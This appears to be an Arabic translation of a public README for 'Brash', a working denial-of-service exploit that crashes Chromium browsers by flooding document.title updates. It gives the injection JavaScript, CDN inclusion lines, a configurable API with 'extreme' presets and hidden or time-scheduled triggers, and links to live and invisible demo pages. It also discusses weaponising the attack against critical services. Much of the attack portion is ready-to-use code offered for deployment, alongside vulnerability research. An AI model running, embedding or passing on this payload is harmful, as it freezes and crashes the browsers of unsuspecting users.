
هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title

براش هو ثغرة أمنية حرجة في Blink، محرك العرض الذي يشغّل متصفحات كروميوم من جوجل. فهو يسمح لأي متصفح كروميوم بالانهيار خلال 15-60 ثانية عبر استغلال خلل معماري في طريقة إدارة عمليات DOM معيّنة.
ناقل الهجوم ينبع من الغياب التام لتقييد المعدل (rate limiting) على تحديثات واجهة برمجة التطبيقات document.title. وهذا يسمح بحقن ملايين الطفرات في DOM كل ثانية، وأثناء محاولة الحقن هذه، يتم إشباع الخيط الرئيسي (main thread)، مما يعطّل حلقة الأحداث (event loop) ويسبب انهيار الواجهة. التأثير كبير، فهو يستهلك موارد معالجة عالية، ويُضعف الأداء العام للنظام، ويمكن أن يوقف أو يبطئ العمليات الأخرى التي تعمل في الوقت نفسه. ومن خلال تأثيره على متصفحات كروميوم على أجهزة سطح المكتب وأندرويد والبيئات المدمجة، تعرّض هذه الثغرة أكثر من 3 مليارات شخص على الإنترنت لحجب خدمة على مستوى النظام.
الحالة: قيد التشغيل
الإصدارات المتأثرة: Chromium ≤ 143.0.7483.0 (تم الاختبار على: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] الاستغلال يعمل حاليًا. بمجرد تصحيح الثغرة، سيتوقف هذا الكود عن العمل. ومع ذلك، فإن اكتشاف هذا الخلل المعماري وإكمال عملية البحث والتوثيق والتصميم بأكملها لمشاركة شيء مؤثر مع العالم كانت رحلة مجزية بشكل لا يصدق.
تم اختبار 11 متصفحًا رئيسيًا على macOS وWindows وLinux للتحقق من تأثير الثغرة.
جميع المتصفحات المبنية على كروميوم معرضة للثغرة لأن الخلل موجود في جوهر محرك العرض Blink:
براش يستغل خللًا معماريًا أساسيًا في محرك العرض Blink: غياب الخنق (throttling) لتحديثات document.title. يعمل الهجوم عبر ثلاث مراحل حاسمة:
يولّد 100 سلسلة سداسية عشرية فريدة مكونة من 512 حرفًا ويخزّنها في الذاكرة قبل بدء الهجوم.
لماذا تحميلها مسبقًا بدلًا من توليدها في الوقت الفعلي؟
لأن التوليد المستمر لسلاسل جديدة يستهلك وقت المعالجة في العمليات الحسابية. وهذا الوقت حاسم — كل ميلي ثانية تُقضى في توليد السلاسل هي وقت لا يُستخدم في قصف المتصفح بتحديثات document.title.
من خلال وجود 100 سلسلة محمّلة مسبقًا في الذاكرة:
ونتيجة لذلك، نحقق أقصى سرعة حقن مع أقصى استهلاك للذاكرة لكل تحديث.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
ينفّذ دفعات قابلة للتهيئة من تحديثات العنوان. مع الإعداد الافتراضي (burst: 8000, interval: 1ms)، يحاول حقن حوالي 24 مليون تحديث في الثانية، وخلال هذه المحاولة يبدأ انهيار المتصفح.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
التحديثات المستمرة تُشبع الخيط الرئيسي للمتصفح، مما يمنع معالجة الأحداث الأخرى:
الخط الزمني للانهيار:
لماذا ينجح هذا؟
يعالج Blink كل تغيير في document.title بشكل متزامن على الخيط الرئيسي دون تقييد معدل. وهذا يخلق عنق زجاجة (bottleneck) يعمل على:
لفهم تأثير براش بالكامل، يمكنك تجربة الاستغلال في سياقات مختلفة، من عرض حي مُتحكم به إلى تنفيذك الخاص. كل خيار مصمم لمستويات مختلفة من التفاعل والفهم التقني.
أسرع طريقة لرؤية براش أثناء العمل. زر https://brash.run
لرؤية الاستغلال دون واجهة رسومية، زر https://brash.run/hidden-live-demo.html. هذا الإصدار ينفّذ الحقن بشكل غير مرئي، محاكيًا هجومًا حقيقيًا.
إذا كنت تفضل تشغيل العرض في بيئتك الخاصة، فإن مجلد exploit-demo/ المضمّن في المستودع يتيح لك:
ببساطة افتح exploit-demo/index.html في أي متصفح كروميوم واضبط قيمتي burst وinterval قبل البدء.
لدمج براش في اختبارات الأمان أو أبحاثك الخاصة، قم بتضمين السكربت واضبط الهجوم:
تضمين السكربت:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
استخدام واجهة برمجة التطبيقات (API):
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
إعدادات الشدة:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
ملاحظة: كل دفعة تنفّذ 3 تحديثات متتالية لـ
document.title. على سبيل المثال، burstSize: 400 = 1,200 تحديث فعلي في كل فاصل زمني.
يمكن تسليح براش في سياقات حرجة متعددة بعواقب تتراوح بين خسائر اقتصادية وخطر على حياة البشر.
ميزة حرجة تضخّم خطر براش هي قدرته على البرمجة للتنفيذ في لحظات محددة. يمكن للمهاجم حقن الكود مع مشغّل زمني، فيبقى خاملًا حتى وقت محدد مسبقًا بدقة.
التنفيذ التقني:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
المعلمات: